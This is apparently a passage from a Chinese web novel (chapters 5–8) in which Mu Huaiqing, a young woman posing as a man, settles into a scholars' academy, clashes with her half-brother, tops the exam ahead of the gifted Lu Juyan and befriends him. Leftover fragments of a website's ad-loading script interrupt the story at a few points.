谈声新到底年纪小,见她这神秘的样子,好奇道:“你讲,我不笑你。” 慕怀清向直学行了一礼,随后解释道:“晚生夜里常得迷症,穿着中衣到处游荡,有一回起来点灯写字,差点把房子都给烧了,打那以后我睡觉前都得把利物油灯之类的锁起来,房门也锁着。晚生怕这样吓着同窗,做出些危险的事来,所以恳请先生为晚生单独寻一间房。” 慕怀清见那直学已在思量,放低了姿态,恳切道:“只要单独一间房便可,破的烂的都没关系,晚生可自己再出些银两。以前在县学读书时,因为夜里犯迷症,都成了同窗的笑话……” 谈声新这些时日已经听过不少慕怀清的笑话,此时有些同情起她来。 那直学叹了口气:“好吧。” 慕怀清心中的石头算是落下了。此计如若不成,还得另想办法,少不了许多麻烦。 直学道:“我记得杂物房边上还有一间小房,也不用你出什么银钱,记得夜里锁好门,别闹出什么事来就行。要是有什么不舒服,一定要去医谕那里看看。” 慕怀清见他认真叮嘱起来,心中感动,当即大谢。 与直学告辞后谈声新就领着她往住处去了,路上好奇问:“为什么会得迷症?” 慕怀清苦笑一声:“估计是小时候吃不饱穿不暖,身体羸弱,又心思过重,大夫说一定要修养好。” 谈声新到底是个小孩子,当下深信不疑,对慕怀清的同情又多了几分。 不久到了学子们住的斋舍。斋舍分南北两排相对,从月洞门看进去,院中栽有修竹。 谈声新领着她继续往前走,绕到北侧斋舍后方,指着后面那一排屋子道:“这里放的都是杂物,边上一间房原先是看管杂物的老翁居住,后来他不在,一时没人补上这个差,就空出来了。” 杂物间正对北侧斋舍后院,后院围墙不高,可以看见满院晾晒的衣物,风吹过来,青衣舞动。 两人停在正数第三间房屋门前。门上落了灰,铜锁也惹了绿,谈声新拿出钥匙开锁,转了好几回才转动。 慕怀清推门进去,浓重而陈旧的气味扑面而来。地都是泥地,角落里还长了草,里头摆的东西不多,看上去却显得逼仄。 果然够破够烂。 “慕兄换身衣裳,等下随我去行入学礼。”谈声新把 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 钥匙放在案上,随后转身出门。 “多谢小师兄了。” 慕怀清合上门,换了一套青色襕衫,同书院学子一个打扮。 她来不及再收拾屋子,便出门寻谈声新去祠堂行入学礼。礼仪繁琐,待行完已将近正午。 忙了这么久,谈声新在慕怀清身边早已待不住:“好了好了,我现在去吃饭了,等下他们散讲食斋就很多人了,记得我和你讲的吧,下午你就可以去那个学斋上课。” “多谢小师兄。” 送别谈声新后,慕怀清一时半会儿还不饿,就先回了住处收拾,下午还有课业,等晚些再收拾恐怕来不及。 她在住处周围四下转了转,发现杂物房后院停了水缸,地上一圈压痕生了青苔。此处早已不住人,这水缸也没必要挑水,里头的水应该是雨水。 她转身回房间去端面盆,打了水将各处的灰尘抹干净。擦洗床架时那床吱呀吱呀响个不停,她懂些木工,但一时没有工具修。 别的地方也好不到哪儿去。一张桌子被老鼠啃掉了一截桌腿,她在外头寻了好久才找到几块碎瓦片垫上。 忙完这些,她才去寻主食主茶的食斋思源斋。 第一次从百茗斋来时穿过了一个长廊,谈声新说,长廊另一头过去就是思源斋。 她记忆很好,来时的路都记得。这会已经散讲了,远远的就听见热闹的谈笑声,长廊上满是学子经过。 她跟着人流走,身边的人被她头上的一圈细布吸引了目光,有些与赵知行相熟的结合传言已经认出她来了。 思源斋内部很大,堂上摆了数十张桌椅,旁边开了两扇门,门后就是伙房。做好的饭菜已经抬出来放在了一侧的长桌上。 慕怀清学着旁人的模样来到长桌前,一位老媪笑着递给她掌盘。 谈声新说是菜三盘、瓜果一碟。她食量不大,只选了两盘菜,而后端着寻了个角落坐下。菜虽略显粗糙,但味道都还不错,起码比流浪的那段时日好。 正吃着,旁边突然搁下一个掌盘,慕怀清饼还咬在嘴里,偏头看去,是霍澄。 “我大老远就觉得是你,过来一看,还真是,怎么坐在这旮旯里?”这张桌子眼下只有慕怀清一人,霍澄放下掌盘,自觉地坐在她旁边。 他身后还跟着三人,其中一人正是赵知行。 见慕怀清换了身衣裳坐在书院里吃得香,赵知行连话都讲不出来了,他目瞪口呆,掌盘没端稳差点摔在地上,还是旁边一个肤色略黑的托了一把,叮嘱他道:“知行小心啊。” 霍澄瞧他吃瘪,心中甚是快活,嘴里还不忘插上一刀:“这一想到奉香楼啊,面前的菜都没胃口了。” 周近野对霍澄的性子颇为无奈:“明澈你就别笑他了。” “没笑啊,这不是事实嘛。” 赵知行目光不善盯着慕怀清:“学问不代表品行,他能进这书院还不是靠的我爹!” 这话声音不小,嘈杂的人声顿时以他们为中心安静下来一圈。 5. 第五章 片刻后,周围的学子们开始窃窃私语。 “那不是赵师兄吗?” “他说的是不是慕怀清啊?” “慕怀清真进书院了?” “那个坐着的不就是。” 一时间慕怀清嘴里嚼着的饼也没味道了,倒不是她怕赵知行,只是不能安静吃个饭,有些难受。 她注意到还有一个与霍澄同来的人,自始至终没说过一句话,就静静在她对面坐下来,吃得很悠闲。 那人样貌生得俊朗,吃相也很斯文,不过挺挑食,从菜碟里捡出来不少摆在边上,应该是不爱吃的。 慕怀清从他身上收回目光,将嘴里的饼咽下去,平静道:“你我同父,大哥说话何必如此,我既求得了一个机会,能进书院自然也是凭自己的本事。” “谁是你大——” 赵知行正要动怒,此时一个人笑着将掌盘搁在桌上,朝慕怀清拱手行了一礼:“在下周褚,字近野。往后同窗,还请慕兄多指教了。” 慕怀清看向那个皮肤略黑的男子,颔首道:“周兄客气。” 赵知行瞧着这三个舍友,一个成天和自己对着干,一个坐在那原地成了仙,还有一个殷勤跟自己的眼中钉套着近乎…… 他冷笑一声:“干脆我搬出去,你们叫他住进来好了!” 说罢他端着掌盘转身就走。 “哎知行等等啊!”周近野刚坐下来,热饭还没吃上一口,这会不放心他,只好端起来又追了上去。 “知行今天就没冷静下来过啊,”霍澄叹气,转头问慕怀清,“你头上这伤真是赵家小娘子动手的?” 慕怀清脸上挂着笑:“霍兄以为呢?” 霍澄连忙摆手:“不是不是,我不是这个意思,我就是好奇嘛,平时她在我们跟前也从来不这样啊,哎,难不成是因为她中意——” 对面的人轻咳一声。 霍澄转头:“你染风寒了?这时候天气不冷不热的,你多穿点衣服啊。” 慕怀清忍不住笑出声来。这霍澄,果真人如其名,心思简单。 这位装咳的人懒得理会霍澄,他听见对面一声笑,抬眸看了过去。 少年身形有些单薄,肤色看上去白得过分,额上受伤缠一圈布,像是戴了条抹额,更衬得唇色嫣红,十分秀气。不笑的时候好似那雪上青松,可一笑眉眼便生动起来,犹如画卷上丹青晕开。 此时他才介绍自己道:“在下陆居澜,字云程。” 晋州,姓陆…… 慕怀清有些迟疑地问:“令先祖……可是青葙先生?” 陆居澜点头:“正是。” 陆青葙曾为先帝帝师,地位不在李晚渔之下,也是新党人物。新政夭折后,陆青葙告老还乡回到晋州,支持李晚渔建了崇临书院,没几年就去世了。 关于这位老人,慕怀清倒还模糊记得样子。爹是他的学生,幼年还在京城时,常见得着他。到他去世的消息传来,爹哀恸不已,多日不曾好好进食,垮了身体,后来 病逝大抵也有部分原因在此。 慕怀清笑叹一声:“久仰青葙先生大名,今日能与陆兄同窗,是在下有幸了。” 她眼中不自觉露出怀念和伤感的神色,像是平静的池面,轻风吹皱了一圈圈涟漪,不知怎的竟叫陆居澜心中也触动起来。 他定了定神才答:“慕兄过誉。” 两人客套往来几句,周围已有学子踌躇着围了过来。 其中一人走上前道:“敢问兄台可是慕怀清?” 学子们对赵知行家中的事只是听个热闹而已,他们真正在意的还是晚渔先生在名额已满的情况下破例招收。 慕怀清有些头疼看了霍澄一眼,要不是他带人过来,自己这会已经吃好饭了。 她无奈回道:“是我,师兄有什么事吗?” “慕师弟托了关系进来,又让直学安排单独的房间,怕是陆师兄排面也没这么大吧。” 那人声音有些不善,不仅道出了许多学子的心声,质问一人一间这事更是让周围开始躁动起来。 慕怀清心想,定是那小小年纪的谈师兄说漏嘴说出去了。 霍澄倒吸一口凉气:“慕兄,你当真是一人一间?” 一人一间,他是做梦都想啊!奈何书院有规矩,只能在梦里想想。 霍澄搓了搓手:“不然我跟你换?” 慕怀清道:“我允许你在看见我房间之前收回这句话。” 陆居澜则恼人在他面前耍心机利用他,他将竹箸搁在碟上,不轻不重一声响:“既然有人觉得晚渔先生徇私,又何必继续留在书院。” 此人被堵了回去,却不敢说陆居澜什么,只是面色有些难看。 慕怀清微眯双眼,轻笑道:“吃着吃着,这菜就突然醋了起来,味道实在有些难闻。” 周围理解过后,一阵低笑。 质问之人没想到慕怀清竟能把托关系说得如此光明正大,旁人看不惯那就是在酸,气得他无言以对,拂袖便走。 慕怀清对此并未放在心上。这世上本就有许多不公之事,她既然做了,便不会在意旁人的非议。 不久李行简过来了,他注意到这边似乎闹了起来,对众人道:“山长自有他的道理,诸位还是散了吧,好好吃个饭,莫要再纠缠此事。” 学子们都不敢得罪这位李斋长,很快就都回到了自己的座位上。 慕怀清起身向李行简行了一礼:“多谢行简师兄解围。” “举手之劳而已。书院规矩向来严苛,这次破例确实惹得很多师兄弟不满,往后如何服众,还得看慕师弟能不能拿出真正的实力来。” “怀清谨记在心。” 待李行简走后,霍澄方才压着的兴趣就上来了:“你为什么能一人一间啊,云程祖父是青葙先生都没这个待遇!” 慕怀清把应付直长的那套说辞重复了一遍:“……再说了,我又不住斋舍里,我住的是杂物间,那边有个老翁搬走了,才刚好空给我。” 霍澄摸着下巴:“我怎么就没想到可以编个理由呢……” 慕怀清无法反驳,因为她就是编的。 霍澄又问:“这迷症真医不好?” 慕怀清一本正经地点头。 用过午膳后陆居澜先行回了斋舍,霍澄却非得跟来看看她的住处才罢休。看过之后他果真连连摇头,没再提起换房间的事了。 一人一间的事很快就传开了,不少人见慕怀清住的是杂物间,又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有霍澄四下说道自己的第一手消息,慢慢地也歇下了心思。 下午的讲授是慕怀清进书院后的第一堂课。以她的年纪,就被分在了德容斋,一个学斋二十人左右。 上午是章先生在此讲授,下午来的依旧是他。 慕怀清抱着书走进学斋,不少人的目光都齐刷刷转了过来。 她视若无睹,挑了个安静的角落坐下,只是不知道为什么,在她落座时,周围一片吸气声。 她翻开书卷心无旁骛看了起来。这些几乎都能背诵,如今就当是温习,再听另一位先生的讲解,兴许会有不同的收获。 - 陆居澜刚进学斋,就看见自己向来坐着的位置上已经有人了,先生还没来,那人却看书看得极认真。初春的阳光并不热烈,淡淡晖色自窗牖投进来,停在案前,模糊了那人的轮廓。 霍澄转头去看陆居澜的脸色:“哎,那不是慕兄嘛。” 陆居澜看上去好似并不在意,在慕怀清后面的位置落了座。 往常四个人都是坐在一处的,这回赵知行却赌气往相反的方向走去。周近野心底叹了口气,跟在赵知行后头。 “这气还没消啊。”霍澄看着他们走远,挠了挠头,喃喃道。他心眼大,也不管了,直往陆居澜那去。 章先生严厉是真的,来了之后,还没开讲呢,就先训了一通。说是今天下午由他们自己讲解经书,谁要讲得不好,罚抄上午的讲簿十遍。 底下的学子满心怨言,却不敢在脸上表露。 章先生刚开始挑了几段出来,底下讲的都还不错,可到后头越问越难,讲得稍有不合心意便要骂,还骂得完美与经书结合,让你想不记住都不难。 “何为‘月本无光,受日而有光’?月似水,日照之,则水面有光倒映。世人皆无光,寻世理,受道义,方成有光之人。 “何为世理道义?世理道义就是日光,就是我们为人的尊严、为人的修养!拿你来举例,如果不明白世理道义,你顶多算块茅坑里的破石头!” 那学生满头大汗领了罚。 章先生矮矮胖胖一个人,小眼睛,圆鼻头,可往台上一站,登时便威风堂堂起来,声若洪钟,中气十足,管不了自己的脾气。 他还有个爱好,好捻须,一边骂一边捻,骂到兴头就激动起来。为什么那灰白胡子这样稀疏?都是给捻断的。 慕怀清上了课,才知道谈声新说的严厉都是轻了,但学问极好也是真的。她一面听一面写,字迹写得潦草,全赖先生说得又快又含糊。台下的堂录撞上章先生的课,写讲簿写得怕是毛笔都要废掉一支。 章先生捧着书,又问:“天下之物皆有性,如何解?” 学子们正等着先生点人,却听见先生又问了一句。 “最右边第三个座位上的学生,怎么看着这样眼生?” 章存有记得满堂学生的相貌姓名,却听不见外界的半点风声,眼下多出来个人,他还不知道是谁。 此话一出,众学子都停了笔,数着座位看过去,可不就是那慕怀清。 而慕怀清看书看得正认真,没听出来是在叫自己。直到后边有人拍了一下她的肩膀,回头看,是陆居澜。 “先生叫你。” 6. 第六章 慕怀清数了一下,先生的最右边就是自己的最左边,顺数第三个,就是自己。 她忙站起来鞠了一躬:“学生慕怀清,今日刚来书院。” 章存有扫了眼她额上的一圈细布:“受伤休假了?本来两个月耽搁下来就错过了很多,刚才问话你也没听,如此懈怠,如何能念好书!” 书院从不例外招收学生,正月开的学,如今三月份,章存有下意识以为慕怀清是今年刚过入学试的,还没上课就请了两个月的假。 慕怀清没想到这先生还是个两耳不闻窗外事的,不打算浪费时间辩解,只顺着他的脾性道:“谨记先生教诲。” 章存有的火气果然下去些:“嗯,那你来讲一下我方才的问题。” 明明知道人家耽搁了两个月,还问人家,这不是成心要罚嘛。很多人心里都这样想,也等着看慕怀清笑话。 才进来就要受罚,霍澄刚替她捏了把汗,就听见她不疾不徐开口道:“天下之物本无性,因人方成有性。坐时竹椅有竹椅的理,行时阶砖有阶砖的理,写时毫笔有毫笔的理,升灶添火时,便是那朽木也有朽木的理。只因人在,有物便有理。天下之物皆有性,当作如是解。” 这段话的意思是说,天下之物本来没有意义,因为人的存在才被赋予了意义。 满堂等着看笑话的愿望注定要落空了,赵知行这会儿内心更是五味杂陈。 章存有点了点头:“不错。” 简简单单两个字,诸位学子又是面色一变。 谁不知道章先生严苛,一句“不错”算是评价极高了。整个学斋能让章先生夸出不错的不超过五人,而能让章先生总把不错挂在嘴边的只有一人。 听到这两个字,陆居澜不由得多看了面前之人几眼。 又是几番提问,章先生这才歇下来,任由学生自己辩论。 霍澄趁此机会凑了过来:“没想到你这般深藏不露啊。” “霍兄过誉。” “刚好我还有几个没理解的地方,你给我讲讲呗,老陆讲的太晦涩,我看看你讲的跟他讲的有什么不一样。” 陆居澜弯了嘴角:“你当我是先生不成?自己听得不认真。” 慕怀清乍见他笑,晃了眼,心想原来他是会笑的。 霍澄托着腮帮子,没个坐相:“我又不求科举,随便听听就得了,要不是为了下次的课试,我才懒得理会呢。” 慕怀清于是接过他的书卷,发现上面干干净净的,比他脸都白。 后来讲解时,霍澄一边听一边似懂非懂点着头,就差把困这个字写在脑门上了。 慕怀清哭笑不得,心想这人到底是怎么进的书院。 陆居澜倒是听得认真,偶尔也补充上几句。本来是霍澄要解答,结果慕怀清和陆居澜倒是聊了起来,或有感悟的地方,她都会提笔记下。 一个下午的时光就这样过去了。读书,吃饭,睡觉,几日下来都是如此。 若要说起晚渔先生的课,暂时没什么特别的。晚渔先生提倡自学,学规中专门分了学次序和读书次序引导学生自主学习。 而自那章先生那一堂课后,暗地里说道慕怀清的声音就少了。赵知行还是没什么好脸色,只要碰见慕怀清,必定冷嘲热讽那么一两句。 来书院不过五六日的光景,便放旬假了。家在附近或城内的,大多都会回去,太远的只能留在书院。 这天刚落过雨,路面有些泥泞,没有马车来接的学子们是怨声载道,关系好的兴许会捎上一程。 慕怀清提着书篮到了牌楼,一眼就看见了挂着赵府标志的马车。只有一辆,赶车的人是赵翁。 赵翁那日送她来书院是为了显示赵府的重视,可堂堂一个内知,没道理送了一回,还接第二回。但她在看见身后跟上来的赵知行时,心中就了然了。 若派两辆马车来接,会显得赵府内部不睦,若派一辆马车来接,以赵知行的性子,势必不肯与自己同坐,会让外人看了笑话。所以赵翁才会亲自过来,有他在,赵知行不敢多说什么。 慕怀清上前打了个招呼:“赵翁好。” 赵翁见她头上细布还在,问:“小郎君伤还没好吗?” 慕怀清略有些羞赧:“差不多可以拆了,但额上还有疤。” 赵翁点点头:“小郎君先上车吧。” 慕怀清一只脚刚踩上去,就听见赵知行的声音在身后响起。 “他怎么会在这。” 慕怀…落脚转身,叫了句“大哥”。 赵翁道:“是大官人吩咐的,兄弟二人,自然应该坐同一辆马车。” 赵知行果然不好对赵翁发作,瞪了慕怀清一眼,气愤上车了。 “有劳赵翁了。”慕怀清随后也跟着上车。 两人相对而坐,一路上赵知行闭眼靠在车厢上,显然忍着怒意不想搭理慕怀清。 对面不说话,慕怀清也乐得自在。 马车坐得头晕,她就撩开车帘去看外面的景致。窗外视野开阔,大片农田连在一起,稀稀疏疏的嫩绿尽收眼底,湿润的风带着寒意拂在脸颊,整个人都清醒不少。 “把帘子放下去。” 慕怀清回头,见赵知行已经睁开了眼,冷冷盯着她看。 她笑着收回手,车帘飘落而下。 “你笑什么?” “没什么,只是在想,是不是这风有些冷,冻着大哥了。” 赵知行觉得这话是在讽刺,冷笑了一声:“做人还是要有自知之明,这声大哥,不是你可以叫的。” “我叫不叫得,不由我说了算,毕竟我和大哥体内流着一样的血。” “你说是就是?不知道从哪里冒出来的,就凭一把梳子和一段故事?” 慕怀清当即冷下了脸:“先母名声岂能容你玷污。” 她目睹慕家弟弟的凄凉悲惨而无能为力,又怎能任由他人这般污蔑。 赵知行被她的神色吓住了,也知自己确实不妥,便没再说话。 马车就近先停在了后院。 慕怀清对赵知行道:“大郎君,告辞。” 赵知行听见她喊大郎君,脸色难堪。 慕怀清告别了赵翁,从后门进去了。 - 若要领教晋州城的繁华,那时间必然是落日之后。 商铺酒楼小摊,到处都挂上了灯彩,熙熙攘攘的行人走在街上,吆喝叫卖声不绝于耳。 其中最热闹的地方必定少不了一个奉香楼。作为晋州第一大酒楼,奉香楼足有四层之高,雕梁画栋,富丽堂皇,食客进出往来,生 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 意好不兴隆。 而在二楼一处雅间里,正坐着赵知行等四人。那天花厅的赌注,今日才刚刚兑现。 霍澄大快朵颐吃高兴了,得意道:“你们两个,还得感谢我看人看得准吧。” 周近野笑道:“是是是,褚能有这个口福,全赖明澈慧眼识才。” 周近野家远,一般放旬假都留在书院里,今日是因为赵知行要请客,霍澄直接一拍胸脯,把人请到家里住了。 “来来来,今日我们不醉不归!”霍澄提起酒杯便要给众人倒酒。 陆居澜护着自己的杯子,道:“你祖父答应了?” “难得来奉香楼嘛,就喝一点,他看不出来的。” 赵知行此时一言不发,面色已经黑如锅底了。 霍澄给自己倒了一杯,起身去敬赵知行,装着严肃的正经模样道:“这一杯,敬知行兄今日大方请客。” 说罢仰头一饮而尽。 赵知行气笑了:“得了便宜还卖乖,你倒在这给我摆起来了。” 正经不过一刻,霍澄又嬉皮笑脸起来,提着酒壶走到赵知行边上,殷勤给他倒了一杯:“我说你这气生得也忒久了,好几天没跟我和老陆说过话,别因为一点小事就坏了我们兄弟情分啊。” 赵知行脸色本来缓和下来一点,听到后半句,肝火又蹭蹭往上冒:“那叫小事!” 周近野给霍澄使了个眼色:“明澈,你就少说两句吧。” 霍澄耿直道:“可我瞧慕兄也不是什么趋炎附势的人啊,反而还挺有学问修养。你家里多他一个,也闹不出什么事来。” “怎么闹不出事来,为了他,我爹甚至将小妹禁足,差点令她绝食而死。从小到大,我小妹又何曾受过这番委屈!” 霍澄自觉讲道理都讲到这份上了,就没再开口。知行哪都好,就是太护短了,凡事扯上他小妹都跟吞了爆竹一样炸人。 去年他小妹隐晦表达过对老陆的心思,转头他就来打探了,老陆自然说是以学业为重。这话知行想必是不敢同他小妹讲的,后来如何也不知道了。 周近野还想再劝上一两句,却听见赵知行道:“好,那我就等等看,看这慕怀清到底是野鸡还是凤凰。” 他语气冷静,怒意也下去不少,周近野听他这般说,这才松了口气。 “就是啊,等等看不就行了?知行何必总拿这事来气自个儿,”霍澄见他气消,就知道他应该是想通了,当下端着酒杯送到他面前,“今晚一桌好菜可不能浪费了,花了不少银子在这呢。” 赵知行接过酒杯,刚喝一口,就听见霍澄在说银子,顿时呛住,咳得满面通红。 奉香楼一顿,少说四五两银子。家中给的份例有限,每月凑合着花到月底,手里就没有余钱了,总有些紧巴巴的,是以每回得了书院的奖赏,总要另外攒下来一些。这回倒好,全赔在饭桌上了! 霍澄拍着背给他顺气:“好喝也要喝慢点啊,又没人跟你抢。” 赵知行咳得更厉害了。 陆居澜本来吃得安静,听见他们后来的谈话,却不自觉皱起了眉头。 这几日同慕无晦交谈过几回,他发现那人很聪明,也很有见解,就是不知道回去之后的课试那人会考得怎么样。转而又想,也总不该考过自己才是。 7. 第七章 书院的课试考诗赋、经义,论、策,试题不多,都在一张考卷中,半天时间刚好。 陆居澜和往常一样作答,思绪毫不间断,下笔飞快。别人抓耳挠腮的试题,在他这里却是理所当然的简单。 出了学斋后,一片嘈杂惊走了枝头的鸟雀。学子们向来都有在课试后讨论的习惯,有时论得激烈了,饭也顾不上吃,一些疑问处,便拿去问先生。 这次的课试对陆居澜来说是平常,但对其他人来说,却多了几丝看热闹的意味。 什么热闹?近半个月来,书院共同的话题可不就是那慕怀清。一个穷书生突然变成知州的儿子,还托知州的关系进了天下闻名的书院,明晃晃的登梯子上树——攀高枝。 这种好事不是人人都能艳羡得来的,艳羡得多了,就不免带了几分嫉妒,下意识总盼着别人摔下梯子来,变得和自己一样才好。 现在课试过后,学子们暗地里都在猜测慕怀清考得怎么样。 “我觉得他看起来不会差,这几日先生问过几回,他都答得出来。那天晚渔先生还特地出了一题问他,先生向来不夸,但从表情来看,应该还可以。” “课试结果还没出来呢,谁知道他学问到底怎么样,说不定只是运气好,先生都问到他会的。” 慕怀清不知道自己已经成为众人近日挂在嘴边的人物了,就算知道,也只会一笑而过。 这次课试她做的还算顺畅,只是经义最后一题还有些疑问处不甚理解,她便去听雨斋问商先生。 商先生是讲经的,枯瘦的一个小老头,总爱笑,一笑起来就没了眼睛,是以比起章先生要平易近人得多,来听雨斋的学子也是排了一茬又一茬。 她等了许久,总算才等到。 几个学生中,有一个叫叶誊玉的,所问和她差不多,他们便一起听先生讲。 直到三日后,课试的结果才出来。 - 三日后,学斋外摆着一个红漆木架,由上至下排了甲乙丙丁,数十个木牌晃晃悠悠挂成四行,每个木牌都写了名字。这是书院的课试结果。 木架周围聚集着许多人,个个都伸长了脖子往里瞧,瞧见了的,倒吸一口凉气。 “慕怀清的名字挂在甲等第一!”有人惊叫出声。 这下学子们挤得就更热闹了。 “怎么可能?他才刚来书院!” “陆师兄呢?” “陆师兄挂在她后面。” “假的吧!” 他们大多数都觉得慕怀清是个没学问的,就算有人觉得慕怀清学问尚可,也想不到他居然能拿甲等第一。要知道,往常挂在前头的可一直都是陆师兄。 不少人又想起来他来书院第一天就占了陆师兄的位置,纷纷猜测那究竟是巧合,还是他隐晦地在跟陆师兄宣战。 慕怀清本想待人散后再看的,可这动静,不用看都知道了,自己得了甲等,名牌也挂在了第一的位置上。 说实话她还有些意外,毕竟自己从小跟在爹身边,爹教什么,她便学什么,身边无人可以参考。 既知结果,慕怀清不再停留,往思源斋用晚饭去了。 - 陆居澜从不看课试结果,因为自信,所以没必要看,若是来了,那也是霍澄几个拉着来的。 只是今日的学斋未免太热闹了些,陆居澜远远地就停下了脚步。 霍澄回头:“老陆,你怎么不走了?” “人太多了,前面怎么回事?”陆居澜见那么多人挤作一堆,本想让他们自己去看的,突然就听见一句惊天动地的哭喊。 “怎么可能会是慕怀清啊,我的三十文钱!” 陆居澜心中隐隐猜到什么,皱眉往木架走去。 霍澄几个连忙跟上。 众学子见陆居澜过来,声音小了下去,自觉让出一条道。 陆居澜停在木架前,只见慕怀清三个字赫然排在他前头,当即变了脸色,又仿佛不可置信一般,眉头愈皱愈紧。 前些天晚上几个人还在奉香楼讨论这慕怀清是野鸡还是凤凰,今天他就拿了甲等第一。 陆居澜是猜到慕怀清聪明过人,但没想到他会连自己的名次也挤下去,打从自己进书院来,这还是头一回。 霍澄挤进去看,也是惊掉了眼珠子,再三看过才确认自己是真的没有看错:“原来慕兄这么厉害啊!” 赵知行现在已经不得不承认,慕怀清确实有点墨水,只是自尊心还在作祟,板着张脸什么也不肯表露出来。 周近野笑道:“待我寻个时机,还得去请教慕兄才是。” 陆居澜一言不发地转身离开了。 霍澄叫住他:“老陆,你去哪啊?” “吃饭。” 周近野看着陆居澜的背影,担忧道:“云程他是不是受打击了?” 霍澄无法理解:“他现在第二不也挺好?多少人想要都还没有呢。” 赵知行道:“你当谁都跟你一样没心没肺?” 霍澄想说,没心没肺也是种本事啊。 - 去思源斋的路上,不少听说了课试结果的都侧目看来,有人经过时还特意打了个招呼,倒弄得慕怀清有些不自在起来。 端了饭菜后,她还是挑了个安静的角落。只是她坐哪,哪里就注定安静不了,几个学子推推搡搡向她走了过来。 慕怀清停箸,抬头道:“师兄们有何事?” 其中一人正是前日在听雨斋见过的叶誊玉,他清了清嗓子上前问:“听闻慕师弟得了甲等第一,在下特意前来请教。” “请教不敢当,叶师兄若有什么问题,尽管问便是。” “策试的那道题,我想知道慕兄是如何解答的?” 慕怀清思索片刻后道:“平阳蒲阪,自尧舜后无人建都,皆因其地贫瘠不生物,人民朴陋俭啬,故惟尧舜能于此建都……” 她晚饭终究吃得不尽兴,问完一个又接着来了一个。 眼下陆居澜也和慕怀清一样坐在思源 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 斋中,边上围着好几个人,只不过问的除了课试,还有如今的甲等第一。 “陆师兄对慕师弟是什么看法啊?” “慕师弟学问这样好,陆师兄也没想到吗?” “我看那天慕师弟占了师兄常坐的位置,是在向师兄宣战吗?” 陆居澜无意搭理他们这些问题,但终究是被惹得心烦,吃到一半便回了斋舍。 “老陆这回真受刺激了?”霍澄看见陆居澜回去后坐在院子角落里,眉头皱得紧,修竹一遮,整得跟个石像似的。 周近野点头:“兴许是心情有些不好吧,这几年来还是头一回有人排到他前头去。云程平日里嘴上不说,但还是挺要强的,况且他祖父又是青葙先生。” 赵知行问:“要去劝劝吗?” 四个人里周近野生得最粗犷,心思却最细腻:“劝还用不着,云程这样的,等会就自己回来了。” 周近野说陆居澜要强,又说同他祖父有关,这些都没说错。陆居澜这样认真,一半都源于他祖父。 他自小出生在京城,受祖父教导颇多,在他眼里,祖父是桃李满天下的帝师,是受人敬重的青葙居士。 小小年纪的他当时便说:“我要成为像祖父这样的人。” 陆菁被孙子逗笑了,笑过之后,神色又黯淡下来:“小十一啊,以后还是不要成为祖父这样的人才好。” “为什么啊?” “因为我没小十一想的这么好。” 那一年先帝驾崩,朝堂为后党把持,新政变法失败,祖父的朋友学生,死的死贬的贬,父亲更是公然倒向太后一党。祖父那时流露出的哀伤神色,他到长大些才懂。 次年祖父辞官回乡,他不欲待在父亲身边,也坚持随到晋州来了。可曾经种种终于是压垮了那个在他心中顶天立地般的人,祖父两年后便重病缠身,卧床不起。 他至今还记得那握着自己的枯槁的手。 “小十一啊,你以后可要入朝为官?” “孙儿考取功名,自然要做官,佑得一方江山。” 陆菁张了张嘴,最后只虚弱笑着:“小十一是个有抱负的人,将来,这江山要是变了,记得烧封信来告诉祖父。 “还有,小十一学得太认真,一不小心就会钻里头去,除了书,也要看看别处才好。” 不知不觉已是残月初上,月华似水倾泻满地,竹影婆娑,如水中藻荇。 这几年学业繁忙,他已经很久没想起过祖父来了。如今再回头看去时才发现,记忆中的身影是如此单薄瘦弱。撇去一切名号,他也只是个关心学生命运的老师,对儿子失望的父亲。他是陆菁,是自己最亲近的祖父。 半晌之后,陆居澜起身出了斋舍。 杂物间就这么一排,慕怀清的住处很好辨认,亮着灯的就是。 陆居澜停在门前,犹豫着抬了手,却突然听见里头床晃得厉害,吱呀作响,又听见隐约一点喘气声,他听了一会,似乎是想到了什么,顿时便红了耳朵。 8. 第八章 慕怀清找好了木头,今日刚借来工具修理床架,没人帮忙,她一个人折腾多少有些累。 忙了一会儿,她瞥见那月光在门上投下淡淡一道阴影,于是放下工具,举着烛火过去开门。门外的人吓了一跳,烛光映着的脸有些微红。 陆居澜没想到她会突然开门,一时间不知如何开口,烛光和月光都揉碎在她眉眼,很有些女气。 慕怀清率先出声道:“陆师兄怎么会来这?” 陆居澜只当没撞见刚才的事,而关于课试,十九岁的青年心中到底有些傲气,没好意思开口。 “可是为了课试而来?”慕怀清见其神色,一猜便猜到了,她实在是没想到陆居澜竟然会在夜里因此事来敲她的门。 “嗯。”陆居澜应了一声,随后不自在别过头去。 慕怀清侧身:“陆师兄请进。” 陆居澜进去后环顾一圈,房间很小,摆设也比斋舍要简陋许多。 慕怀清给他倒了杯水:“陆师兄有什么想说的便说吧。” 陆居澜将杯子端在手里,抬眼问:“在下想知道慕兄的课试是如何作答的。” 这就不是只问一题了。慕怀清点了下头,转身去取了纸笔,而后问:“从哪里开始?” “诗赋,七言绝句。” 昏黄灯光下,陆居澜看着那人提笔作书,字迹隽雅端方,笔锋凌厉。 其上写道: 经年寥落浮萍草, 旧事杳然不可追。 从此山河皆故里, 天长路远作客归。 诗里透露着一股不合年纪的苍凉感,虽苍凉,却又豁达从容。陆居澜心中震撼,不免想,到底何种经历,才能写下如此诗句? 慕怀清停笔后,见陆居澜迟迟没动静,出声唤他:“陆师兄?” “嗯?”陆居澜回神,“写得不错。” 慕怀清微笑道:“谢师兄夸奖,不知师兄写的是什么?” 陆居澜接过毫笔,写下了自己当时答的内容:“我的不如慕兄,见笑了。” “师兄过谦。” 后来两人又聊到经义策论,话多起来,连时间都忘了。直到响起敲门声,慕怀清这才惊觉油灯已燃尽一半。 她起身刚一开门,霍澄就当先跳了进来:“近野还说你自己会回来呢,左等右等也等不到,原来是在这背着我们偷偷求学!” 陆居澜面色不改:“有些问题来请教慕兄而已。” 周近野拿起桌上那一沓写满了的纸,眼神惊讶:“都这样认真啊。” 